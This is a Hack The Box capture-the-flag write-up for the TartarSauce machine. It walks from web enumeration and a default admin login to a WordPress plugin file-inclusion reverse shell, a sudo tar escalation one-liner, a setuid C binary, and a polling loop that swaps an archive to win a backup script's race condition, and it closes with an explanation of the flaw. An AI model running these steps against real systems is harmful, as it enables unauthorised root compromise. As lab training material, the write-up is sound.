> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-tartarsauce.md).

# HTB - TartarSauce

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FE9Ps7kJMZuqu9Fd7tTKH%2Fimage.png?alt=media&amp;token=2bb61a4b-aadd-4c89-8114-07a6c9f4edfb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fdxj1oiMCb3L714GrKzFs%2Fimage.png?alt=media&amp;token=dc6d0f3a-2f94-4499-beab-700a134de79c" alt=""><figcaption></figcaption></figure>

Directory Enumeration revealed robots.txt

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmzopQ3HAPnUXk56C6BP6%2Fimage.png?alt=media&amp;token=46f6bfe9-b916-47c8-a5ac-538f66d43d39" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtzAQeu6BegmBJzIiyWbj%2Fimage.png?alt=media&amp;token=df7df416-128f-42d3-8009-d70535c479fe" alt=""><figcaption></figcaption></figure>

running monstra 3.0.4

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs91rISgwQurHMDC3osd4%2Fimage.png?alt=media&amp;token=525130af-6f1e-4453-a4de-5e912853f6b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FK5A5tYHYMJ7Zt3SS70by%2Fimage.png?alt=media&amp;token=71d9fe0e-16fd-428d-b324-64418689d252" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUt4NfPFuEI8HOBWtfQgb%2Fimage.png?alt=media&amp;token=8e91635d-45f4-407b-b6ff-6dd487b70874" alt=""><figcaption></figcaption></figure>

default password `admin:admin` lets me inside.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDgGVNWZZvQFCe4Fjf8eT%2Fimage.png?alt=media&amp;token=752eac4a-059b-4650-97ee-f4158a8d4fda" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcMXkF2diTKN4zmtS4P76%2Fimage.png?alt=media&amp;token=d5790fe8-d935-41d2-8e52-6ffbd48ca46f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7M5GO5pWL8iU07Hy5dAc%2Fimage.png?alt=media&amp;token=7a2038d8-bb2e-4351-8314-c11647e0d21b" alt=""><figcaption></figcaption></figure>

probably this is a dead end

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxNtdJ8wgdwTVmBvkryxJ%2Fimage.png?alt=media&amp;token=83389e79-61be-495c-81b7-9d86860846c0" alt=""><figcaption></figcaption></figure>

directory enumeration revealed a wordpress running.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FctI6wof9sPdXxecROLRZ%2Fimage.png?alt=media&amp;token=c6eea5fa-4952-409e-872d-aa9893e1e6b4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FG26KSxiI3pXEW3MpUw5p%2Fimage.png?alt=media&amp;token=ccdfdb01-e211-415d-887b-7ea754742ea6" alt=""><figcaption></figcaption></figure>

that said i can run wpscan.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Foo0YmyqZSJ6y2N4uqWn4%2Fimage.png?alt=media&amp;token=be581366-5c33-4c7e-9af1-9ba87c817394" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnlMKFzos1uX3hVdGMhtL%2Fimage.png?alt=media&amp;token=3dd1b310-3ab6-42e2-a2b7-a9efdab72fb3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFRyzmbyzRHkBUbVBQpKZ%2Fimage.png?alt=media&amp;token=7bfe4861-b323-4a4a-a238-27d2cf71f681" alt=""><figcaption></figcaption></figure>

Found a Gwolle Plugin.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNW1epJjIU5cWH3ZKEN18%2Fimage.png?alt=media&amp;token=e6fa89cd-880b-41ce-b7b2-ba9808dc5c44" alt=""><figcaption></figcaption></figure>

so the version is 1.5.3

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0lP4iV8jT6dnEezmF33C%2Fimage.png?alt=media&amp;token=6f2ed6c6-ce44-4c50-afaf-1560b300feef" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/38861>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8oVDtYhDdIAfNHSl96gC%2Fimage.png?alt=media&amp;token=5a2081eb-a343-4ff6-b929-92b1c19423e2" alt=""><figcaption></figcaption></figure>

that said i will use a php reverse shell from pentest monkey to get reverse shell

i will name the reverse shell to wp-load.php

## Shell as www-data

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4RKWEl4IjaWynvqWKgVl%2Fimage.png?alt=media&amp;token=4521282a-75c9-414d-a612-b2806e5bdd1d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdvE7xaQPy1pT45flZ8n2%2Fimage.png?alt=media&amp;token=644aa91a-e8ce-4a91-8f9b-ff68be12f219" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWzYs8ZsxEQfiiL9yoJa2%2Fimage.png?alt=media&amp;token=6d174485-7502-4058-8c6c-b894f994320f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FD0HEYP4oacpnHL7TJQHd%2Fimage.png?alt=media&amp;token=050128b9-3c2f-408e-8571-cd7fc3090e45" alt=""><figcaption></figcaption></figure>

gtfobins has a page for it.

{% embed url="<https://gtfobins.org/gtfobins/tar/>" %}

```bash
www-data@TartarSauce:/var/www$ sudo -u onuma tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
oint=1 --checkpoint-action=exec=/bin/shl --checkp 
tar: Removing leading `/' from member names
$ id
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
$ 
```

## Shell as Onuma

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDcA8oZxA0tMJDskKdWaa%2Fimage.png?alt=media&amp;token=2f26262c-559a-403e-826d-f61df94ad4d4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfRruMSx07DZdEVwIZFOh%2Fimage.png?alt=media&amp;token=c29845eb-caa8-46b9-8456-d813b07e8c01" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdzILF3bK1qwzErsdt2BM%2Fimage.png?alt=media&amp;token=9c1740f3-5649-4b2d-82c7-33c74af9ca61" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fp1jseFCPTr4642zmQr8e%2Fimage.png?alt=media&amp;token=cb99c7fd-8030-441d-9fbd-3b76d9aaf0d5" alt=""><figcaption></figcaption></figure>

there is a system timer running called `backuperer.timer` which is unusual

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fd2EVBokbnub2iH4T3KBF%2Fimage.png?alt=media&amp;token=2ea09fc0-7721-4ad4-91e9-15a82f584e43" alt=""><figcaption></figcaption></figure>

```bash
$ cat /usr/sbin/backuperer

#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi
$ 

```

### TOCTOU Race Condition

The `backuperer` script (run every 5 minutes by a systemd timer, as root) did this:

```
1. tar up /var/www/html into a randomly-named file in /var/tmp    (as user onuma)
2. sleep 30
3. mkdir /var/tmp/check
4. tar -xzf <that tarball> into /var/tmp/check                     (as root)
5. diff -r the real webroot against the extracted copy
6. if different → log an error and exit
   if same → move tarball to backups, clean up
```

The tarball's name was in `/var/tmp` (world-writable) and, critically, it was created by a low-privileged user (`onuma`) but later *extracted as root*. Whoever creates the archive controls its contents *and metadata*  including file ownership and permission bits stored in the tar headers.

**A 30-second window existed between archive creation and root's extraction step**, giving an attacker time to swap the legitimate archive for a malicious one before root ever touched it.

This is a classic TOCTOU (time-of-check to time-of-use) race condition combined with an untrusted-archive-extraction bug: root trusted a file that a non-root user could still modify at the moment root acted on it.

create a code to set suid on /bin/bash

```c
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

```

```bash
──(ajay㉿kali)-[~]
└─$ gcc -m32 -static -o suid setuid.c
                                                                                                                                                                                                                              
┌──(ajay㉿kali)-[~]
└─$ mkdir -p payload/var/www/html
                                                                                                                    
┌──(ajay㉿kali)-[~]
└─$ cp suid payload/var/www/html/suid
                                                                                                                    
┌──(ajay㉿kali)-[~]
└─$ chmod 4755 payload/var/www/html/suid
                                                                                                                    
┌──(ajay㉿kali)-[~]
└─$ cd payload
                                                                                                                    
┌──(ajay㉿kali)-[~/payload]
└─$ tar --owner=root --group=root -cvf ../evil.tar var/www/html
var/www/html/
var/www/html/suid
                                                                                                                    
┌──(ajay㉿kali)-[~/payload]
└─$ cd ..
                                                                                                                    
┌──(ajay㉿kali)-[~]
└─$ gzip evil.tar
                                      
```

send the file to shell

```bash
onuma@TartarSauce:/dev/shm$ wget http://10.10.14.49/evil.tar.gz -O evil.tar.gz
wget http://10.10.14.49/evil.tar.gz -O evil.tar.gz
--2026-08-22 15:17:25--  http://10.10.14.49/evil.tar.gz
Connecting to 10.10.14.49:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 332498 (325K) [application/gzip]
Saving to: 'evil.tar.gz'

evil.tar.gz         100%[===================>] 324.71K  1.06MB/s    in 0.3s    

2026-08-22 15:17:26 (1.06 MB/s) - 'evil.tar.gz' saved [332498/332498]

```

```bash
onuma@TartarSauce:/dev/shm$ while true; do
  for f in /var/tmp/.*; do
    if [[ -f "$f" && "$f" != "/var/tmp/.*" && "$f" != *"check"* ]]; then
      cp /dev/shm/evil.tar.gz "$f"
      echo "hit: $f"
while true; do
>     fi
  done
  sleep 0.2
done
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F06T8OTZWZyuGng3TIZx8%2Fimage.png?alt=media&amp;token=aec6d6b1-0947-429c-8f2f-ad2f21779103" alt=""><figcaption></figcaption></figure>

after 30 seconds&#x20;

we get our suid file in place and can use it to get root access.

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqN1AhhzAKuI7opiSyKRR%2Fimage.png?alt=media&amp;token=9f8098d0-0461-47d0-9642-2e8e8274e67d" alt=""><figcaption></figcaption></figure>

### Race Condition Explained

the tarball was created by `onuma`, not root, and written to `/var/tmp` — a world-writable directory. Randomising the filename defended against *guessing* it in advance, but did nothing to stop you from *reacting* to its appearance. Once you saw the file exist, you had full write access to it (same permissions class as the user who created it, in a directory anyone can write into).

you could replace the *contents* of that file at will, any time after it appeared and before root touched it.

`/bin/sleep 30`  his wasn't just "some" window  it was a fixed, predictable 30 seconds with no hash-check, no lock file, no atomic rename-after-verify. Root had no way to confirm at extraction time that the file it was about to open was still the one `onuma`'s tar process had produced.

A simple polling loop (`sleep 0.2` between checks) was more than fast enough to land inside a 30-second window reliably, every single cycle.

`/bin/mkdir $check`\
`/bin/tar -zxvf $tmpfile -C $check`

Root extracted the file without dropping privileges or sandboxing

because the *reading/extracting* process was root, any metadata embedded in the archive  ownership, permission bits, setuid  got applied with root's authority. This is the crux of the whole exploit: **tar preserves ownership/permission metadata from the archive, and enforces those permissions using the privilege level of whoever is doing the extracting, not whoever built the archive.**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-tartarsauce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
